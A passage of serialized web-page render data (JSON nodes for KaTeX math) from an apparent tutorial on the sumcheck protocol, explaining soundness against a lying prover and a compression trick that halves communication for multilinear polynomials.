hildren":112074},{"className":112073,"style":95427},[6772],[112075],{"type":21,"tag":153,"props":112076,"children":112077},{},[],{"type":21,"tag":153,"props":112079,"children":112081},{"className":112080},[24409],[112082],{"type":26,"value":189},{"type":21,"tag":153,"props":112084,"children":112086},{"className":112085},[6742],[112087],{"type":26,"value":2996},{"type":21,"tag":153,"props":112089,"children":112091},{"className":112090},[24431],[112092],{"type":26,"value":2071},{"type":21,"tag":153,"props":112094,"children":112096},{"className":112095,"style":6821},[6820],[],{"type":21,"tag":153,"props":112098,"children":112100},{"className":112099},[6826],[112101],{"type":26,"value":4099},{"type":21,"tag":153,"props":112103,"children":112105},{"className":112104,"style":6821},[6820],[],{"type":21,"tag":153,"props":112107,"children":112109},{"className":112108},[6731],[112110,112114,112171,112176,112181],{"type":21,"tag":153,"props":112111,"children":112113},{"className":112112,"style":6841},[6736],[],{"type":21,"tag":153,"props":112115,"children":112117},{"className":112116},[6742],[112118,112123],{"type":21,"tag":153,"props":112119,"children":112121},{"className":112120,"style":95830},[6742,24280],[112122],{"type":26,"value":111595},{"type":21,"tag":153,"props":112124,"children":112126},{"className":112125},[6757],[112127],{"type":21,"tag":153,"props":112128,"children":112130},{"className":112129},[6762,24334],[112131,112160],{"type":21,"tag":153,"props":112132,"children":112134},{"className":112133},[6767],[112135,112155],{"type":21,"tag":153,"props":112136,"children":112138},{"className":112137,"style":95873},[6772],[112139],{"type":21,"tag":153,"props":112140,"children":112141},{"style":95877},[112142,112146],{"type":21,"tag":153,"props":112143,"children":112145},{"className":112144,"style":6782},[6781],[],{"type":21,"tag":153,"props":112147,"children":112149},{"className":112148},[6787,6788,6789,6790],[112150],{"type":21,"tag":153,"props":112151,"children":112153},{"className":112152},[6742,24280,6790],[112154],{"type":26,"value":6471},{"type":21,"tag":153,"props":112156,"children":112158},{"className":112157},[24437],[112159],{"type":26,"value":24440},{"type":21,"tag":153,"props":112161,"children":112163},{"className":112162},[6767],[112164],{"type":21,"tag":153,"props":112165,"children":112167},{"className":112166,"style":95427},[6772],[112168],{"type":21,"tag":153,"props":112169,"children":112170},{},[],{"type":21,"tag":153,"props":112172,"children":112174},{"className":112173},[24409],[112175],{"type":26,"value":189},{"type":21,"tag":153,"props":112177,"children":112179},{"className":112178},[6742],[112180],{"type":26,"value":3033},{"type":21,"tag":153,"props":112182,"children":112184},{"className":112183},[24431],[112185],{"type":26,"value":2071},{"type":26,"value":112187}," equals the previous claim. If the prover is lying about the original sum ",{"type":21,"tag":78,"props":112189,"children":112191},{"className":112190},[6715,6716],[112192],{"type":21,"tag":153,"props":112193,"children":112195},{"className":112194},[6721],[112196],{"type":21,"tag":153,"props":112197,"children":112199},{"className":112198,"ariaHidden":3294},[6726],[112200],{"type":21,"tag":153,"props":112201,"children":112203},{"className":112202},[6731],[112204,112208],{"type":21,"tag":153,"props":112205,"children":112207},{"className":112206,"style":24275},[6736],[],{"type":21,"tag":153,"props":112209,"children":112211},{"className":112210,"style":95578},[6742,24280],[112212],{"type":26,"value":95581},{"type":26,"value":112214},", then they must lie about ",{"type":21,"tag":78,"props":112216,"children":112218},{"className":112217},[6715,6716],[112219],{"type":21,"tag":153,"props":112220,"children":112222},{"className":112221},[6721],[112223],{"type":21,"tag":153,"props":112224,"children":112226},{"className":112225,"ariaHidden":3294},[6726],[112227],{"type":21,"tag":153,"props":112228,"children":112230},{"className":112229},[6731],[112231,112236],{"type":21,"tag":153,"props":112232,"children":112235},{"className":112233,"style":112234},[6736],"height:0.625em;vertical-align:-0.1944em;",[],{"type":21,"tag":153,"props":112237,"children":112239},{"className":112238},[6742],[112240,112245],{"type":21,"tag":153,"props":112241,"children":112243},{"className":112242,"style":95830},[6742,24280],[112244],{"type":26,"value":111595},{"type":21,"tag":153,"props":112246,"children":112248},{"className":112247},[6757],[112249],{"type":21,"tag":153,"props":112250,"children":112252},{"className":112251},[6762,24334],[112253,112282],{"type":21,"tag":153,"props":112254,"children":112256},{"className":112255},[6767],[112257,112277],{"type":21,"tag":153,"props":112258,"children":112260},{"className":112259,"style":95873},[6772],[112261],{"type":21,"tag":153,"props":112262,"children":112263},{"style":95877},[112264,112268],{"type":21,"tag":153,"props":112265,"children":112267},{"className":112266,"style":6782},[6781],[],{"type":21,"tag":153,"props":112269,"children":112271},{"className":112270},[6787,6788,6789,6790],[112272],{"type":21,"tag":153,"props":112273,"children":112275},{"className":112274},[6742,24280,6790],[112276],{"type":26,"value":6471},{"type":21,"tag":153,"props":112278,"children":112280},{"className":112279},[24437],[112281],{"type":26,"value":24440},{"type":21,"tag":153,"props":112283,"children":112285},{"className":112284},[6767],[112286],{"type":21,"tag":153,"props":112287,"children":112289},{"className":112288,"style":95427},[6772],[112290],{"type":21,"tag":153,"props":112291,"children":112292},{},[],{"type":26,"value":112294}," somewhere. But since the verifier picks a random ",{"type":21,"tag":78,"props":112296,"children":112298},{"className":112297},[6715,6716],[112299],{"type":21,"tag":153,"props":112300,"children":112302},{"className":112301},[6721],[112303],{"type":21,"tag":153,"props":112304,"children":112306},{"className":112305,"ariaHidden":3294},[6726],[112307],{"type":21,"tag":153,"props":112308,"children":112310},{"className":112309},[6731],[112311,112316],{"type":21,"tag":153,"props":112312,"children":112315},{"className":112313,"style":112314},[6736],"height:0.5806em;vertical-align:-0.15em;",[],{"type":21,"tag":153,"props":112317,"children":112319},{"className":112318},[6742],[112320,112325],{"type":21,"tag":153,"props":112321,"children":112323},{"className":112322,"style":95344},[6742,24280],[112324],{"type":26,"value":96163},{"type":21,"tag":153,"props":112326,"children":112328},{"className":112327},[6757],[112329],{"type":21,"tag":153,"props":112330,"children":112332},{"className":112331},[6762,24334],[112333,112363],{"type":21,"tag":153,"props":112334,"children":112336},{"className":112335},[6767],[112337,112358],{"type":21,"tag":153,"props":112338,"children":112340},{"className":112339,"style":95873},[6772],[112341],{"type":21,"tag":153,"props":112342,"children":112344},{"style":112343},"top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;",[112345,112349],{"type":21,"tag":153,"props":112346,"children":112348},{"className":112347,"style":6782},[6781],[],{"type":21,"tag":153,"props":112350,"children":112352},{"className":112351},[6787,6788,6789,6790],[112353],{"type":21,"tag":153,"props":112354,"children":112356},{"className":112355},[6742,24280,6790],[112357],{"type":26,"value":6471},{"type":21,"tag":153,"props":112359,"children":112361},{"className":112360},[24437],[112362],{"type":26,"value":24440},{"type":21,"tag":153,"props":112364,"children":112366},{"className":112365},[6767],[112367],{"type":21,"tag":153,"props":112368,"children":112370},{"className":112369,"style":95427},[6772],[112371],{"type":21,"tag":153,"props":112372,"children":112373},{},[],{"type":26,"value":112375},", with overwhelming probability, the prover won't then be able to match the evaluation of the original polynomial.",{"type":21,"tag":21591,"props":112377,"children":112379},{"id":112378},"the-compression-trick",[112380],{"type":26,"value":112381},"The Compression Trick",{"type":21,"tag":22,"props":112383,"children":112384},{},[112385,112387,112537,112539,112819],{"type":26,"value":112386},"For degree-1 (multilinear) polynomials, ",{"type":21,"tag":78,"props":112388,"children":112390},{"className":112389},[6715,6716],[112391],{"type":21,"tag":153,"props":112392,"children":112394},{"className":112393},[6721],[112395],{"type":21,"tag":153,"props":112396,"children":112398},{"className":112397,"ariaHidden":3294},[6726],[112399,112492,112519],{"type":21,"tag":153,"props":112400,"children":112402},{"className":112401},[6731],[112403,112407,112464,112469,112474,112479,112483,112488],{"type":21,"tag":153,"props":112404,"children":112406},{"className":112405,"style":6841},[6736],[],{"type":21,"tag":153,"props":112408,"children":112410},{"className":112409},[6742],[112411,112416],{"type":21,"tag":153,"props":112412,"children":112414},{"className":112413,"style":95830},[6742,24280],[112415],{"type":26,"value":111595},{"type":21,"tag":153,"props":112417,"children":112419},{"className":112418},[6757],[112420],{"type":21,"tag":153,"props":112421,"children":112423},{"className":112422},[6762,24334],[112424,112453],{"type":21,"tag":153,"props":112425,"children":112427},{"className":112426},[6767],[112428,112448],{"type":21,"tag":153,"props":112429,"children":112431},{"className":112430,"style":95873},[6772],[112432],{"type":21,"tag":153,"props":112433,"children":112434},{"style":95877},[112435,112439],{"type":21,"tag":153,"props":112436,"children":112438},{"className":112437,"style":6782},[6781],[],{"type":21,"tag":153,"props":112440,"children":112442},{"className":112441},[6787,6788,6789,6790],[112443],{"type":21,"tag":153,"props":112444,"children":112446},{"className":112445},[6742,24280,6790],[112447],{"type":26,"value":6471},{"type":21,"tag":153,"props":112449,"children":112451},{"className":112450},[24437],[112452],{"type":26,"value":24440},{"type":21,"tag":153,"props":112454,"children":112456},{"className":112455},[6767],[112457],{"type":21,"tag":153,"props":112458,"children":112460},{"className":112459,"style":95427},[6772],[112461],{"type":21,"tag":153,"props":112462,"children":112463},{},[],{"type":21,"tag":153,"props":112465,"children":112467},{"className":112466},[24409],[112468],{"type":26,"value":189},{"type":21,"tag":153,"props":112470,"children":112472},{"className":112471,"style":97364},[6742,24280],[112473],{"type":26,"value":8862},{"type":21,"tag":153,"props":112475,"children":112477},{"className":112476},[24431],[112478],{"type":26,"value":2071},{"type":21,"tag":153,"props":112480,"children":112482},{"className":112481,"style":6918},[6820],[],{"type":21,"tag":153,"props":112484,"children":112486},{"className":112485},[6923],[112487],{"type":26,"value":2367},{"type":21,"tag":153,"props":112489,"children":112491},{"className":112490,"style":6918},[6820],[],{"type":21,"tag":153,"props":112493,"children":112495},{"className":112494},[6731],[112496,112501,112506,112510,112515],{"type":21,"tag":153,"props":112497,"children":112500},{"className":112498,"style":112499},[6736],"height:0.6667em;vertical-align:-0.0833em;",[],{"type":21,"tag":153,"props":112502,"children":112504},{"className":112503},[6742,24280],[112505],{"type":26,"value":29},{"type":21,"tag":153,"props":112507,"children":112509},{"className":112508,"style":6821},[6820],[],{"type":21,"tag":153,"props":112511,"children":112513},{"className":112512},[6826],[112514],{"type":26,"value":4099},{"type":21,"tag":153,"props":112516,"children":112518},{"className":112517,"style":6821},[6820],[],{"type":21,"tag":153,"props":112520,"children":112522},{"className":112521},[6731],[112523,112527,112532],{"type":21,"tag":153,"props":112524,"children":112526},{"className":112525,"style":95259},[6736],[],{"type":21,"tag":153,"props":112528,"children":112530},{"className":112529},[6742,24280],[112531],{"type":26,"value":5972},{"type":21,"tag":153,"props":112533,"children":112535},{"className":112534,"style":97364},[6742,24280],[112536],{"type":26,"value":8862},{"type":26,"value":112538}," has only two coefficients. Since the verifier knows ",{"type":21,"tag":78,"props":112540,"children":112542},{"className":112541},[6715,6716],[112543],{"type":21,"tag":153,"props":112544,"children":112546},{"className":112545},[6721],[112547],{"type":21,"tag":153,"props":112548,"children":112550},{"className":112549,"ariaHidden":3294},[6726],[112551,112644,112737],{"type":21,"tag":153,"props":112552,"children":112554},{"className":112553},[6731],[112555,112559,112616,112621,112626,112631,112635,112640],{"type":21,"tag":153,"props":112556,"children":112558},{"className":112557,"style":6841},[6736],[],{"type":21,"tag":153,"props":112560,"children":112562},{"className":112561},[6742],[112563,112568],{"type":21,"tag":153,"props":112564,"children":112566},{"className":112565,"style":95830},[6742,24280],[112567],{"type":26,"value":111595},{"type":21,"tag":153,"props":112569,"children":112571},{"className":112570},[6757],[112572],{"type":21,"tag":153,"props":112573,"children":112575},{"className":112574},[6762,24334],[112576,112605],{"type":21,"tag":153,"props":112577,"children":112579},{"className":112578},[6767],[112580,112600],{"type":21,"tag":153,"props":112581,"children":112583},{"className":112582,"style":95873},[6772],[112584],{"type":21,"tag":153,"props":112585,"children":112586},{"style":95877},[112587,112591],{"type":21,"tag":153,"props":112588,"children":112590},{"className":112589,"style":6782},[6781],[],{"type":21,"tag":153,"props":112592,"children":112594},{"className":112593},[6787,6788,6789,6790],[112595],{"type":21,"tag":153,"props":112596,"children":112598},{"className":112597},[6742,24280,6790],[112599],{"type":26,"value":6471},{"type":21,"tag":153,"props":112601,"children":112603},{"className":112602},[24437],[112604],{"type":26,"value":24440},{"type":21,"tag":153,"props":112606,"children":112608},{"className":112607},[6767],[112609],{"type":21,"tag":153,"props":112610,"children":112612},{"className":112611,"style":95427},[6772],[112613],{"type":21,"tag":153,"props":112614,"children":112615},{},[],{"type":21,"tag":153,"props":112617,"children":112619},{"className":112618},[24409],[112620],{"type":26,"value":189},{"type":21,"tag":153,"props":112622,"children":112624},{"className":112623},[6742],[112625],{"type":26,"value":2996},{"type":21,"tag":153,"props":112627,"children":112629},{"className":112628},[24431],[112630],{"type":26,"value":2071},{"type":21,"tag":153,"props":112632,"children":112634},{"className":112633,"style":6821},[6820],[],{"type":21,"tag":153,"props":112636,"children":112638},{"className":112637},[6826],[112639],{"type":26,"value":4099},{"type":21,"tag":153,"props":112641,"children":112643},{"className":112642,"style":6821},[6820],[],{"type":21,"tag":153,"props":112645,"children":112647},{"className":112646},[6731],[112648,112652,112709,112714,112719,112724,112728,112733],{"type":21,"tag":153,"props":112649,"children":112651},{"className":112650,"style":6841},[6736],[],{"type":21,"tag":153,"props":112653,"children":112655},{"className":112654},[6742],[112656,112661],{"type":21,"tag":153,"props":112657,"children":112659},{"className":112658,"style":95830},[6742,24280],[112660],{"type":26,"value":111595},{"type":21,"tag":153,"props":112662,"children":112664},{"className":112663},[6757],[112665],{"type":21,"tag":153,"props":112666,"children":112668},{"className":112667},[6762,24334],[112669,112698],{"type":21,"tag":153,"props":112670,"children":112672},{"className":112671},[6767],[112673,112693],{"type":21,"tag":153,"props":112674,"children":112676},{"className":112675,"style":95873},[6772],[112677],{"type":21,"tag":153,"props":112678,"children":112679},{"style":95877},[112680,112684],{"type":21,"tag":153,"props":112681,"children":112683},{"className":112682,"style":6782},[6781],[],{"type":21,"tag":153,"props":112685,"children":112687},{"className":112686},[6787,6788,6789,6790],[112688],{"type":21,"tag":153,"props":112689,"children":112691},{"className":112690},[6742,24280,6790],[112692],{"type":26,"value":6471},{"type":21,"tag":153,"props":112694,"children":112696},{"className":112695},[24437],[112697],{"type":26,"value":24440},{"type":21,"tag":153,"props":112699,"children":112701},{"className":112700},[6767],[112702],{"type":21,"tag":153,"props":112703,"children":112705},{"className":112704,"style":95427},[6772],[112706],{"type":21,"tag":153,"props":112707,"children":112708},{},[],{"type":21,"tag":153,"props":112710,"children":112712},{"className":112711},[24409],[112713],{"type":26,"value":189},{"type":21,"tag":153,"props":112715,"children":112717},{"className":112716},[6742],[112718],{"type":26,"value":3033},{"type":21,"tag":153,"props":112720,"children":112722},{"className":112721},[24431],[112723],{"type":26,"value":2071},{"type":21,"tag":153,"props":112725,"children":112727},{"className":112726,"style":6918},[6820],[],{"type":21,"tag":153,"props":112729,"children":112731},{"className":112730},[6923],[112732],{"type":26,"value":2367},{"type":21,"tag":153,"props":112734,"children":112736},{"className":112735,"style":6918},[6820],[],{"type":21,"tag":153,"props":112738,"children":112740},{"className":112739},[6731],[112741,112746],{"type":21,"tag":153,"props":112742,"children":112745},{"className":112743,"style":112744},[6736],"height:0.8917em;vertical-align:-0.2083em;",[],{"type":21,"tag":153,"props":112747,"children":112749},{"className":112748},[6742],[112750,112755],{"type":21,"tag":153,"props":112751,"children":112753},{"className":112752,"style":95578},[6742,24280],[112754],{"type":26,"value":95581},{"type":21,"tag":153,"props":112756,"children":112758},{"className":112757},[6757],[112759],{"type":21,"tag":153,"props":112760,"children":112762},{"className":112761},[6762,24334],[112763,112807],{"type":21,"tag":153,"props":112764,"children":112766},{"className":112765},[6767],[112767,112802],{"type":21,"tag":153,"props":112768,"children":112770},{"className":112769,"style":95873},[6772],[112771],{"type":21,"tag":153,"props":112772,"children":112774},{"style":112773},"top:-2.55em;margin-left:-0.0813em;margin-right:0.05em;",[112775,112779],{"type":21,"tag":153,"props":112776,"children":112778},{"className":112777,"style":6782},[6781],[],{"type":21,"tag":153,"props":112780,"children":112782},{"className":112781},[6787,6788,6789,6790],[112783],{"type":21,"tag":153,"props":112784,"children":112786},{"className":112785},[6742,6790],[112787,112792,112797],{"type":21,"tag":153,"props":112788,"children":112790},{"className":112789},[6742,24280,6790],[112791],{"type":26,"value":6471},{"type":21,"tag":153,"props":112793,"children":112795},{"className":112794},[6826,6790],[112796],{"type":26,"value":6801},{"type":21,"tag":153,"props":112798,"children":112800},{"className":112799},[6742,6790],[112801],{"type":26,"value":3033},{"type":21,"tag":153,"props":112803,"children":112805},{"className":112804},[24437],[112806],{"type":26,"value":24440},{"type":21,"tag":153,"props":112808,"children":112810},{"className":112809},[6767],[112811],{"type":21,"tag":153,"props":112812,"children":112815},{"className":112813,"style":112814},[6772],"height:0.2083em;",[112816],{"type":21,"tag":153,"props":112817,"children":112818},{},[],{"type":26,"value":112820}," (the previous claim), we have:",{"type":21,"tag":22,"props":112822,"children":112823},{},[112824],{"type":21,"tag":78,"props":112825,"children":112827},{"className":112826},[6715,6716],[112828],{"type":21,"tag":153,"props":112829,"children":112831},{"className":112830},[6721],[112832],{"type":21,"tag":153,"props":112833,"children":112835},{"className":112834,"ariaHidden":3294},[6726],[112836,112862,112893,112924,113025,113051,113143],{"type":21,"tag":153,"props":112837,"children":112839},{"className":112838},[6731],[112840,112844,112849,112853,112858],{"type":21,"tag":153,"props":112841,"children":112843},{"className":112842,"style":112499},[6736],[],{"type":21,"tag":153,"props":112845,"children":112847},{"className":112846},[6742,24280],[112848],{"type":26,"value":29},{"type":21,"tag":153,"props":112850,"children":112852},{"className":112851,"style":6821},[6820],[],{"type":21,"tag":153,"props":112854,"children":112856},{"className":112855},[6826],[112857],{"type":26,"value":4099},{"type":21,"tag":153,"props":112859,"children":112861},{"className":112860,"style":6821},[6820],[],{"type":21,"tag":153,"props":112863,"children":112865},{"className":112864},[6731],[112866,112870,112875,112880,112884,112889],{"type":21,"tag":153,"props":112867,"children":112869},{"className":112868,"style":6841},[6736],[],{"type":21,"tag":153,"props":112871,"children":112873},{"className":112872},[24409],[112874],{"type":26,"value":189},{"type":21,"tag":153,"props":112876,"children":112878},{"className":112877},[6742,24280],[112879],{"type":26,"value":29},{"type":21,"tag":153,"props":112881,"children":112883},{"className":112882,"style":6821},[6820],[],{"type":21,"tag":153,"props":112885,"children":112887},{"className":112886},[6826],[112888],{"type":26,"value":4099},{"type":21,"tag":153,"props":112890,"children":112892},{"className":112891,"style":6821},[6820],[],{"type":21,"tag":153,"props":112894,"children":112896},{"className":112895},[6731],[112897,112901,112906,112911,112915,112920],{"type":21,"tag":153,"props":112898,"children":112900},{"className":112899,"style":6841},[6736],[],{"type":21,"tag":153,"props":112902,"children":112904},{"className":112903},[6742,24280],[112905],{"type":26,"value":5972},{"type":21,"tag":153,"props":112907,"children":112909},{"className":112908},[24431],[112910],{"type":26,"value":2071},{"type":21,"tag":153,"props":112912,"children":112914},{"className":112913,"style":6918},[6820],[],{"type":21,"tag":153,"props":112916,"children":112918},{"className":112917},[6923],[112919],{"type":26,"value":2367},{"type":21,"tag":153,"props":112921,"children":112923},{"className":112922,"style":6918},[6820],[],{"type":21,"tag":153,"props":112925,"children":112927},{"className":112926},[6731],[112928,112932,113003,113007,113011,113017,113021],{"type":21,"tag":153,"props":112929,"children":112931},{"className":112930,"style":112744},[6736],[],{"type":21,"tag":153,"props":112933,"children":112935},{"className":112934},[6742],[112936,112941],{"type":21,"tag":153,"props":112937,"children":112939},{"className":112938,"style":95578},[6742,24280],[112940],{"type":26,"value":95581},{"type":21,"tag":153,"props":112942,"children":112944},{"className":112943},[6757],[112945],{"type":21,"tag":153,"props":112946,"children":112948},{"className":112947},[6762,24334],[112949,112992],{"type":21,"tag":153,"props":112950,"children":112952},{"className":112951},[6767],[112953,112987],{"type":21,"tag":153,"props":112954,"children":112956},{"className":112955,"style":95873},[6772],[112957],{"type":21,"tag":153,"props":112958,"children":112959},{"style":112773},[112960,112964],{"type":21,"tag":153,"props":112961,"children":112963},{"className":112962,"style":6782},[6781],[],{"type":21,"tag":153,"props":112965,"children":112967},{"className":112966},[6787,6788,6789,6790],[112968],{"type":21,"tag":153,"props":112969,"children":112971},{"className":112970},[6742,6790],[112972,112977,112982],{"type":21,"tag":153,"props":112973,"children":112975},{"className":112974},[6742,24280,6790],[112976],{"type":26,"value":6471},{"type":21,"tag":153,"props":112978,"children":112980},{"className":112979},[6826,6790],[112981],{"type":26,"value":6801},{"type":21,"tag":153,"props":112983,"children":112985},{"className":112984},[6742,6790],[112986],{"type":26,"value":3033},{"type":21,"tag":153,"props":112988,"children":112990},{"className":112989},[24437],[112991],{"type":26,"value":24440},{"type":21,"tag":153,"props":112993,"children":112995},{"className":112994},[6767],[112996],{"type":21,"tag":153,"props":112997,"children":112999},{"className":112998,"style":112814},[6772],[113000],{"type":21,"tag":153,"props":113001,"children":113002},{},[],{"type":21,"tag":153,"props":113004,"children":113006},{"className":113005,"style":6918},[6820],[],{"type":21,"tag":153,"props":113008,"children":113010},{"className":113009,"style":6918},[6820],[],{"type":21,"tag":153,"props":113012,"children":113014},{"className":113013},[6923],[113015],{"type":26,"value":113016},"⟹",{"type":21,"tag":153,"props":113018,"children":113020},{"className":113019,"style":6918},[6820],[],{"type":21,"tag":153,"props":113022,"children":113024},{"className":113023,"style":6918},[6820],[],{"type":21,"tag":153,"props":113026,"children":113028},{"className":113027},[6731],[113029,113033,113038,113042,113047],{"type":21,"tag":153,"props":113030,"children":113032},{"className":113031,"style":95259},[6736],[],{"type":21,"tag":153,"props":113034,"children":113036},{"className":113035},[6742,24280],[113037],{"type":26,"value":5972},{"type":21,"tag":153,"props":113039,"children":113041},{"className":113040,"style":6918},[6820],[],{"type":21,"tag":153,"props":113043,"children":113045},{"className":113044},[6923],[113046],{"type":26,"value":2367},{"type":21,"tag":153,"props":113048,"children":113050},{"className":113049,"style":6918},[6820],[],{"type":21,"tag":153,"props":113052,"children":113054},{"className":113053},[6731],[113055,113059,113130,113134,113139],{"type":21,"tag":153,"props":113056,"children":113058},{"className":113057,"style":112744},[6736],[],{"type":21,"tag":153,"props":113060,"children":113062},{"className":113061},[6742],[113063,113068],{"type":21,"tag":153,"props":113064,"children":113066},{"className":113065,"style":95578},[6742,24280],[113067],{"type":26,"value":95581},{"type":21,"tag":153,"props":113069,"children":113071},{"className":113070},[6757],[113072],{"type":21,"tag":153,"props":113073,"children":113075},{"className":113074},[6762,24334],[113076,113119],{"type":21,"tag":153,"props":113077,"children":113079},{"className":113078},[6767],[113080,113114],{"type":21,"tag":153,"props":113081,"children":113083},{"className":113082,"style":95873},[6772],[113084],{"type":21,"tag":153,"props":113085,"children":113086},{"style":112773},[113087,113091],{"type":21,"tag":153,"props":113088,"children":113090},{"className":113089,"style":6782},[6781],[],{"type":21,"tag":153,"props":113092,"children":113094},{"className":113093},[6787,6788,6789,6790],[113095],{"type":21,"tag":153,"props":113096,"children":113098},{"className":113097},[6742,6790],[113099,113104,113109],{"type":21,"tag":153,"props":113100,"children":113102},{"className":113101},[6742,24280,6790],[113103],{"type":26,"value":6471},{"type":21,"tag":153,"props":113105,"children":113107},{"className":113106},[6826,6790],[113108],{"type":26,"value":6801},{"type":21,"tag":153,"props":113110,"children":113112},{"className":113111},[6742,6790],[113113],{"type":26,"value":3033},{"type":21,"tag":153,"props":113115,"children":113117},{"className":113116},[24437],[113118],{"type":26,"value":24440},{"type":21,"tag":153,"props":113120,"children":113122},{"className":113121},[6767],[113123],{"type":21,"tag":153,"props":113124,"children":113126},{"className":113125,"style":112814},[6772],[113127],{"type":21,"tag":153,"props":113128,"children":113129},{},[],{"type":21,"tag":153,"props":113131,"children":113133},{"className":113132,"style":6821},[6820],[],{"type":21,"tag":153,"props":113135,"children":113137},{"className":113136},[6826],[113138],{"type":26,"value":6801},{"type":21,"tag":153,"props":113140,"children":113142},{"className":113141,"style":6821},[6820],[],{"type":21,"tag":153,"props":113144,"children":113146},{"className":113145},[6731],[113147,113151,113156],{"type":21,"tag":153,"props":113148,"children":113150},{"className":113149,"style":96375},[6736],[],{"type":21,"tag":153,"props":113152,"children":113154},{"className":113153},[6742],[113155],{"type":26,"value":5873},{"type":21,"tag":153,"props":113157,"children":113159},{"className":113158},[6742,24280],[113160],{"type":26,"value":29},{"type":21,"tag":22,"props":113162,"children":113163},{},[113164,113166,113285,113287,113312],{"type":26,"value":113165},"So the prover only sends ",{"type":21,"tag":78,"props":113167,"children":113169},{"className":113168},[6715,6716],[113170],{"type":21,"tag":153,"props":113171,"children":113173},{"className":113172},[6721],[113174],{"type":21,"tag":153,"props":113175,"children":113177},{"className":113176,"ariaHidden":3294},[6726],[113178,113205],{"type":21,"tag":153,"props":113179,"children":113181},{"className":113180},[6731],[113182,113187,113192,113196,113201],{"type":21,"tag":153,"props":113183,"children":113186},{"className":113184,"style":113185},[6736],"height:0.4306em;",[],{"type":21,"tag":153,"props":113188,"children":113190},{"className":113189},[6742,24280],[113191],{"type":26,"value":29},{"type":21,"tag":153,"props":113193,"children":113195},{"className":113194,"style":6918},[6820],[],{"type":21,"tag":153,"props":113197,"children":113199},{"className":113198},[6923],[113200],{"type":26,"value":2367},{"type":21,"tag":153,"props":113202,"children":113204},{"className":113203,"style":6918},[6820],[],{"type":21,"tag":153,"props":113206,"children":113208},{"className":113207},[6731],[113209,113213,113270,113275,113280],{"type":21,"tag":153,"props":113210,"children":113212},{"className":113211,"style":6841},[6736],[],{"type":21,"tag":153,"props":113214,"children":113216},{"className":113215},[6742],[113217,113222],{"type":21,"tag":153,"props":113218,"children":113220},{"className":113219,"style":95830},[6742,24280],[113221],{"type":26,"value":111595},{"type":21,"tag":153,"props":113223,"children":113225},{"className":113224},[6757],[113226],{"type":21,"tag":153,"props":113227,"children":113229},{"className":113228},[6762,24334],[113230,113259],{"type":21,"tag":153,"props":113231,"children":113233},{"className":113232},[6767],[113234,113254],{"type":21,"tag":153,"props":113235,"children":113237},{"className":113236,"style":95873},[6772],[113238],{"type":21,"tag":153,"props":113239,"children":113240},{"style":95877},[113241,113245],{"type":21,"tag":153,"props":113242,"children":113244},{"className":113243,"style":6782},[6781],[],{"type":21,"tag":153,"props":113246,"children":113248},{"className":113247},[6787,6788,6789,6790],[113249],{"type":21,"tag":153,"props":113250,"children":113252},{"className":113251},[6742,24280,6790],[113253],{"type":26,"value":6471},{"type":21,"tag":153,"props":113255,"children":113257},{"className":113256},[24437],[113258],{"type":26,"value":24440},{"type":21,"tag":153,"props":113260,"children":113262},{"className":113261},[6767],[113263],{"type":21,"tag":153,"props":113264,"children":113266},{"className":113265,"style":95427},[6772],[113267],{"type":21,"tag":153,"props":113268,"children":113269},{},[],{"type":21,"tag":153,"props":113271,"children":113273},{"className":113272},[24409],[113274],{"type":26,"value":189},{"type":21,"tag":153,"props":113276,"children":113278},{"className":113277},[6742],[113279],{"type":26,"value":2996},{"type":21,"tag":153,"props":113281,"children":113283},{"className":113282},[24431],[113284],{"type":26,"value":2071},{"type":26,"value":113286},", and the verifier recovers ",{"type":21,"tag":78,"props":113288,"children":113290},{"className":113289},[6715,6716],[113291],{"type":21,"tag":153,"props":113292,"children":113294},{"className":113293},[6721],[113295],{"type":21,"tag":153,"props":113296,"children":113298},{"className":113297,"ariaHidden":3294},[6726],[113299],{"type":21,"tag":153,"props":113300,"children":113302},{"className":113301},[6731],[113303,113307],{"type":21,"tag":153,"props":113304,"children":113306},{"className":113305,"style":95259},[6736],[],{"type":21,"tag":153,"props":113308,"children":113310},{"className":113309},[6742,24280],[113311],{"type":26,"value":5972},{"type":26,"value":113313},". This saves 50% on communication costs.",{"type":21,"tag":22,"props":113315,"children":113316},{},[113317],{"type":26,"value":113318},"The next claim in the chain is",{"type":21,"tag":22,"props":113320,"children":113321},{},[113322],{"type":21,"tag":78,"props":113323,"children":113325},{"className":113324},[6715,6716],[113326],{"type":21,"tag":153,"props":113327,"children":113329},{"className":113328},[6721],[113330],{"type":21,"tag":153,"props":113331,"children":113333},{"className":113332,"ariaHidden":3294},[6726],[113334,113413,113558,113584,113611,113689,113715,113812,113848,113926,113962,114050,114142],{"type":21,"tag":153,"props":113335,"children":113337},{"className":113336},[6731],[113338,113343,113400,113404,113409],{"type":21,"tag":153,"props":113339,"children":113342},{"className":113340,"style":113341},[6736],"height:0.8333em;vertical-align:-0.15em;",[],{"type":21,"tag":153,"props":113344,"children":113346},{"className":113345},[6742],[113347,113352],{"type":21,"tag":153,"props":113348,"children":113350},{"className":113349,"style":95578},[6742,24280],[113351],{"type":26,"value":95581},{"type":21,"tag":153,"props":113353,"children":113355},{"className":113354},[6757],[113356],{"type":21,"tag":153,"props":113357,"children":113359},{"className":113358},[6762,24334],[113360,113389],{"type":21,"tag":153,"props":113361,"children":113363},{"className":113362},[6767],[113364,113384],{"type":21,"tag":153,"props":113365,"children":113367},{"className":113366,"style":95873},[6772],[113368],{"type":21,"tag":153,"props":113369,"children":113370},{"style":112773},[113371,113375],{"type":21,"tag":153,"props":113372,"children":113374},{"className":113373,"style":6782},[6781],[],{"type":21,"tag":153,"props":113376,"children":113378},{"className":113377},[6787,6788,6789,6790],[113379],{"type":21,"tag":153,"props":113380,"children":113382},{"className":113381},[6742,24280,6790],[113383],{"type":26,"value":6471},{"type":21,"tag":153,"props":113385,"children":113387},{"className":113386},[24437],[113388],{"type":26,"value":24440},{"type":21,"tag":153,"props":113390,"children":113392},{"className":113391},[6767],[113393],{"type":21,"tag":153,"props":113394,"children":113396},{"className":113395,"style":95427},[6772],[113397],{"type":21,"tag":153,"props":113398,"children":113399},{},[],{"type":21,"tag":153,"props":113401,"children":113403},{"className":113402,"style":6918},[6820],[],{"type":21,"tag":153,"props":113405,"children":113407},{"className":113406},[6923],[113408],{"type":26,"value":2367},{"type":21,"tag":153,"props":113410,"children":113412},{"className":113411,"style":6918},[6820],[],{"type":21,"tag":153,"props":113414,"children":113416},{"className":113415},[6731],[113417,113421,113478,113483,113540,113545,113549,113554],{"type":21,"tag":153,"props":113418,"children":113420},{"className":113419,"style":6841},[6736],[],{"type":21,"tag":153,"props":113422,"children":113424},{"className":113423},[